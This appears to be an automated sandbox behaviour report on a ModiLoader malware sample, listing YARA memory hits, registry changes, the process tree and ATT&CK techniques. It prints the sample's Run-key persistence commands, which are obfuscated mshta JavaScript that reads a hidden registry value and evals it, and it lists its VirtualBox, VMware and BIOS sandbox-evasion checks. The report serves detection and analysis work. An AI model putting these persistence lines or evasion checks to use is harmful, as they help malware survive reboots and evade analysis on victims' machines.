modiloader | df1538c5a03de24bfa378d1c9eb16d8de640828eadc7c06328bef1d47e06a623

Virtualization/Sandbox Evasion

Processes:

regsvr32.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

ModiLoader Second Stage 38 IoCs

Processes:

resource	yara_rule
behavioral2/memory/4740-7-0x0000000000400000-0x0000000000479000-memory.dmp	modiloader_stage2
behavioral2/memory/4740-9-0x0000000002570000-0x0000000002634000-memory.dmp	modiloader_stage2
behavioral2/memory/4740-11-0x0000000002570000-0x0000000002634000-memory.dmp	modiloader_stage2
behavioral2/memory/4740-13-0x0000000002570000-0x0000000002634000-memory.dmp	modiloader_stage2
behavioral2/memory/4740-12-0x0000000002570000-0x0000000002634000-memory.dmp	modiloader_stage2
behavioral2/memory/4740-10-0x0000000002570000-0x0000000002634000-memory.dmp	modiloader_stage2
behavioral2/memory/4740-15-0x0000000002570000-0x0000000002634000-memory.dmp	modiloader_stage2
behavioral2/memory/4740-21-0x0000000000400000-0x0000000000479000-memory.dmp	modiloader_stage2
behavioral2/memory/3824-28-0x0000000000340000-0x0000000000404000-memory.dmp	modiloader_stage2
behavioral2/memory/3824-29-0x0000000000340000-0x0000000000404000-memory.dmp	modiloader_stage2
behavioral2/memory/3824-27-0x0000000000340000-0x0000000000404000-memory.dmp	modiloader_stage2
behavioral2/memory/3824-26-0x0000000000340000-0x0000000000404000-memory.dmp	modiloader_stage2
behavioral2/memory/3824-25-0x0000000000340000-0x0000000000404000-memory.dmp	modiloader_stage2
behavioral2/memory/3824-32-0x0000000000340000-0x0000000000404000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-41-0x0000000000510000-0x00000000005D4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-45-0x0000000000510000-0x00000000005D4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-46-0x0000000000510000-0x00000000005D4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-44-0x0000000000510000-0x00000000005D4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-43-0x0000000000510000-0x00000000005D4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-42-0x0000000000510000-0x00000000005D4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-47-0x0000000000510000-0x00000000005D4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-48-0x0000000000510000-0x00000000005D4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-49-0x0000000000510000-0x00000000005D4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-50-0x0000000000510000-0x00000000005D4000-memory.dmp	modiloader_stage2
behavioral2/memory/2332-55-0x0000000000820000-0x00000000008E4000-memory.dmp	modiloader_stage2
behavioral2/memory/2332-60-0x0000000000820000-0x00000000008E4000-memory.dmp	modiloader_stage2
behavioral2/memory/2332-59-0x0000000000820000-0x00000000008E4000-memory.dmp	modiloader_stage2
behavioral2/memory/2332-58-0x0000000000820000-0x00000000008E4000-memory.dmp	modiloader_stage2
behavioral2/memory/2332-57-0x0000000000820000-0x00000000008E4000-memory.dmp	modiloader_stage2
behavioral2/memory/2332-56-0x0000000000820000-0x00000000008E4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-61-0x0000000000510000-0x00000000005D4000-memory.dmp	modiloader_stage2
behavioral2/memory/1920-62-0x0000000000510000-0x00000000005D4000-memory.dmp	modiloader_stage2
behavioral2/memory/1232-67-0x0000000000D10000-0x0000000000DD4000-memory.dmp	modiloader_stage2
behavioral2/memory/1232-71-0x0000000000D10000-0x0000000000DD4000-memory.dmp	modiloader_stage2
behavioral2/memory/1232-70-0x0000000000D10000-0x0000000000DD4000-memory.dmp	modiloader_stage2
behavioral2/memory/1232-69-0x0000000000D10000-0x0000000000DD4000-memory.dmp	modiloader_stage2
behavioral2/memory/1232-68-0x0000000000D10000-0x0000000000DD4000-memory.dmp	modiloader_stage2
behavioral2/memory/1232-72-0x0000000000D10000-0x0000000000DD4000-memory.dmp	modiloader_stage2

Adds policy Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

regsvr32.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:eLz6xswX0l=\"s\";ww2=new%20ActiveXObject(\"WScript.Shell\");ffzrcRQq1=\"3VWrRZ\";WI1jJ=ww2.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c5aab87e52\\\\7af243c3\");Z5t4enAz=\"S0S74\";eval(WI1jJ);Op4aKjX0=\"Qv\";"	regsvr32.exe

Looks for VMWare Tools registry key 2 TTPs 1 IoCs

evasion

Query Registry

Virtualization/Sandbox Evasion

Processes:

regsvr32.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid	Process
1920	regsvr32.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

Modify Registry

Processes:

regsvr32.exe

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:zKmS6W5E=\"lA\";gL6=new%20ActiveXObject(\"WScript.Shell\");e2DDWXDZ8=\"gy\";owM12M=gL6.RegRead(\"HKCU\\\\software\\\\c5aab87e52\\\\7af243c3\");UM4h7SBJz=\"l5F9W\";eval(owM12M);ETEC7vUx=\"N9EyBZR\";"	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:NwhpRLy5=\"ALQck\";Al0=new%20ActiveXObject(\"WScript.Shell\");uurF9BXpb=\"Bj55J\";vU3vU=Al0.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\c5aab87e52\\\\7af243c3\");xjS7Df6bb=\"1\";eval(vU3vU);HUYYv7nQO8=\"fb\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\disk\Enum\0	regsvr32.exe

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

Processes:

regsvr32.exeregsvr32.exeregsvr32.exeregsvr32.exe866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	regsvr32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe

Modifies Internet Explorer settings 1 TTPs 8 IoCs

adware spyware

Modify Registry

Processes:

regsvr32.exe

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\International	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\regsvr32.exe = "0"	regsvr32.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-2045521122-590294423-3465680274-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION\iexplore.exe = "0"	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

regsvr32.exe

pid	Process
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe

Suspicious behavior: MapViewOfSection 12 IoCs

Processes:

866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exeregsvr32.exeregsvr32.exe

pid	Process
4740	866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe
4740	866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe
4740	866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe
3824	regsvr32.exe
3824	regsvr32.exe
3824	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe
1920	regsvr32.exe

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe

pid	Process
4740	866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe
4740	866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe

Suspicious use of SendNotifyMessage 2 IoCs

Processes:

866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe

pid	Process
4740	866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe
4740	866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exeregsvr32.exeregsvr32.exe

description	pid	Process	procid_target
PID 4740 wrote to memory of 3824	4740	866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe	87
PID 4740 wrote to memory of 3824	4740	866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe	87
PID 4740 wrote to memory of 3824	4740	866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe	87
PID 3824 wrote to memory of 1920	3824	regsvr32.exe	90
PID 3824 wrote to memory of 1920	3824	regsvr32.exe	90
PID 3824 wrote to memory of 1920	3824	regsvr32.exe	90
PID 1920 wrote to memory of 2332	1920	regsvr32.exe	93
PID 1920 wrote to memory of 2332	1920	regsvr32.exe	93
PID 1920 wrote to memory of 2332	1920	regsvr32.exe	93
PID 1920 wrote to memory of 1232	1920	regsvr32.exe	97
PID 1920 wrote to memory of 1232	1920	regsvr32.exe	97
PID 1920 wrote to memory of 1232	1920	regsvr32.exe	97

C:\Users\Admin\AppData\Local\Temp\866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\866d9101428e38c3dc57db4968dfaa13_JaffaCakes118.exe"
1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:4740
- C:\Windows\SysWOW64\regsvr32.exe
  regsvr32.exe
  2⤵
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:3824
- - C:\Windows\SysWOW64\regsvr32.exe
    regsvr32.exe
    3⤵
    - Looks for VirtualBox Guest Additions in registry
    - Adds policy Run key to start application
    - Looks for VMWare Tools registry key
    - Checks BIOS information in registry
    - Deletes itself
    - Adds Run key to start application
    - Maps connected drives based on registry
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of WriteProcessMemory
    PID:1920
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2332
  - - C:\Windows\SysWOW64\regsvr32.exe
      "C:\Windows\SysWOW64\regsvr32.exe"
      4⤵
      System Location Discovery: System Language Discovery
      PID:1232

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

Defense Evasion

Modify Registry

Virtualization/Sandbox Evasion

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

Software Discovery

T1518

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Virtualization/Sandbox Evasion